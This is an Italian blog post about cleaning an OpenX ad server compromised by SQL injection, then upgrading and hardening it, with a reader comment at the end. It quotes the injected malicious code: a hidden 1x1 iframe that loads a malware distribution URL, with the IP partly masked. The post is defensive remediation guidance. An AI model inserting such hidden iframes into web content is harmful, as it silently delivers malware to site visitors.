OpenX: ripulire un’installazione infetta e aumentarne la sicurezza

Qualche settimana fa ho subito un attacco a un’installazione di OpenX abbastanza datata che avevo installato su un dominio che gestisco. Nella fattispecie si è trattato di una SQL Injection ai danni di OpenX 2.8.1 e l’attacco è stato facilmente individuabile dai suoi effetti: tutti i codici zona erano stati sporcati da iframe che facevano scaricare virus e trojan.

La prima cosa da fare in questi casi è arrestare tutte le campagne attive di OpenX impedendo in questo modo che gli iframe infetti continuino a fornire malware. Nel caso non si riesca ad accedere al pannello di controllo di OpenX sarà necessario andare a “interrompere” la comunicazione tra OpenX e il datbase MySQL utilizzato, in questo modo saremo sicuri che la versione infetta del banner manager smetterà di funzionare e potremo avere tutto il tempo di pulire il database dai codici infetti. Per arrestare la comunicazione con MySQL basterà rinominare il file di configurazione di OpenX oppure aprirlo e cambiare i parametri di accesso al database. Il file di configurazione è presente nella directory “var” di OpenX e cambia nome a seconda del dominio in cui sia stato installato OpenX: se il dominio dove lo abbiamo installato si chiama “www.example.com” il file di configurazione si chiamerà “www.example.com.conf.php“.

Successivamente, è consigliabile cambiare anche la/le password di accesso al proprio database MySQL, non sappiamo infatti se la SQL Injection ha permesso all’attaccante di ottenere privilegi di root sul database e in ogni caso è buona norma dopo un attacco cambiare tutte le password, non solo per MySQL ma anche quelle del server FTP e gli user/password di login a tutti i servizi ospitati sullo spazio web in cui si trova l’istanza di OpenX infettata.

A questo punto si può passare alla pulizia del database MySQL ricorrendo a phpMyAdmin. Cercando su Internet ho trovato un thread nel forum di OpenX che mi ha aiutato molto a individuare la tabella infettata dagli iframe: si tratta di “ox_banners“, e il codice infetto è presente nella colonna “append”. Individuata la tabella in phpMyAdmin basta cliccare sul pulsante “Mostra” per vedere il contenuto della tabella. Individuati gli iframe infetti basta cancellarli uno ad uno: si aprono i record, si cancella il codice iframe e si salva la modifica.

Nel mio caso l’iframe era di questo tipo:

<iframe src="http://194.8.250.2XX/tds/in.cgi?default" width="1" height="1" hspace="0" vspace="0" frameborder="0" scrolling="no"></iframe>

Ho volutamente mascherato gli ultimi 2 numeri dell’IP del dominio ospitante i malware richiamati dall’iframe.

Puliti i record è necessario effettuare un dump completo del database di OpenX, salvare il proprio file di configurazione (e aggiornare user e password nel caso avessimo cambiato l’accesso al database MySQL), i banner (immagini, swf etc.) presenti nella cartella “openx/www/images” (supponendo che “openx” sia la cartella dove avete posizionato i file di OpenX sul vostro hosting) e dare inizio all’aggiornamento di versione.

La procedura di aggiornamento di OpenX è ben descritta in Upgrading OpenX e sostanzialmente consiste nella creazione sul proprio spazio web di una cartella in cui andremo a spostare tutti i file di installazione della vecchia versione di OpenX, nell’upload dei file della nuova versione (nel momento in cui scrivo si tratta di OpenX 2.8.5), nel posizionamento del file di configurazione salvato in precedenza nella directory “var” e nell’upload delle immagini dei banner (anch’esse salvate in precedenza). Fatti questi passaggi basterà solo avviare la procedura di aggiornamento di OpenX visitando da un browser l’URL dove risiede la nostra installazione.

Portato a termine l’upgrade di OpenX possiamo procedere a un po’ di hardening della nostra installazione ripulita. Per prima cosa dobbiamo cancellare il file install.php posizionato in “openx/www/admin”. Come seconda cosa invece possiamo posizionare un file .htaccess sempre in openx/www/admin, in questo modo restringeremo l’accesso all’interfaccia di gestione di OpenX. Per la creazione di un file .htaccess è possibile utilizzare il servizio web .htaccess Generator, avendo cura di fornire i percorsi assoluti di dove risiederà il file (per questo rimando al mio post Proteggere l’area amministrativa di WordPress con .htaccess).

Concludo segnalando un altro ottimo thread del forum di OpenX che può rivelarsi molto utile nel caso dopo l’aggiornamento si presentino dei problemi nel funzionamento della piattaforma.

2 commenti su “OpenX: ripulire un’installazione infetta e aumentarne la sicurezza”

  1. Grazie, articolo molto utile!

    Solo un piccolo aiuto ancora:

    Nella tua esperianza mi sai dire come verificare che sia tutto ok nella mia istallazione di openx?

I commenti sono chiusi.